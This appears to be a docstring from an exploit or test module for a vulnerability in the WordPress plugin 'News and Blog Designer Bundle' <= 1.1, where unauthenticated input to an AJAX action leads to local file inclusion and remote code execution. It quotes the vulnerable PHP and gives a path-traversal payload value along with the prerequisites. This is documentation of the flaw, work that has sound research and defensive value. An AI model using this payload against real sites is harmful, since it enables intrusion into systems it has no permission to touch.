    r"""
    News and Blog Designer Bundle <= 1.1 registers the nopriv AJAX action nbdb_fetch_more_post
    (includes/class-nbdb-ajax.php:16). The handler runs extract($_POST['shrt_param'])
    (class-nbdb-ajax.php:31) — creating a $template variable straight from attacker input — then builds a
    path and includes it (class-nbdb-ajax.php:33/93):
    
        sanitize_text_field(extract($_POST['shrt_param']));           // $template = shrt_param[template]
        $template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
        if (file_exists($template_file_path)) ... include($template_file);
    
    $template is not sanitised, so shrt_param[template]=../../../../uploads/<file> traverses to
    wp-content/uploads and includes an attacker-planted PHP -> RCE.
    
    Prior state: plugin active + a planted .php under wp-content/uploads.
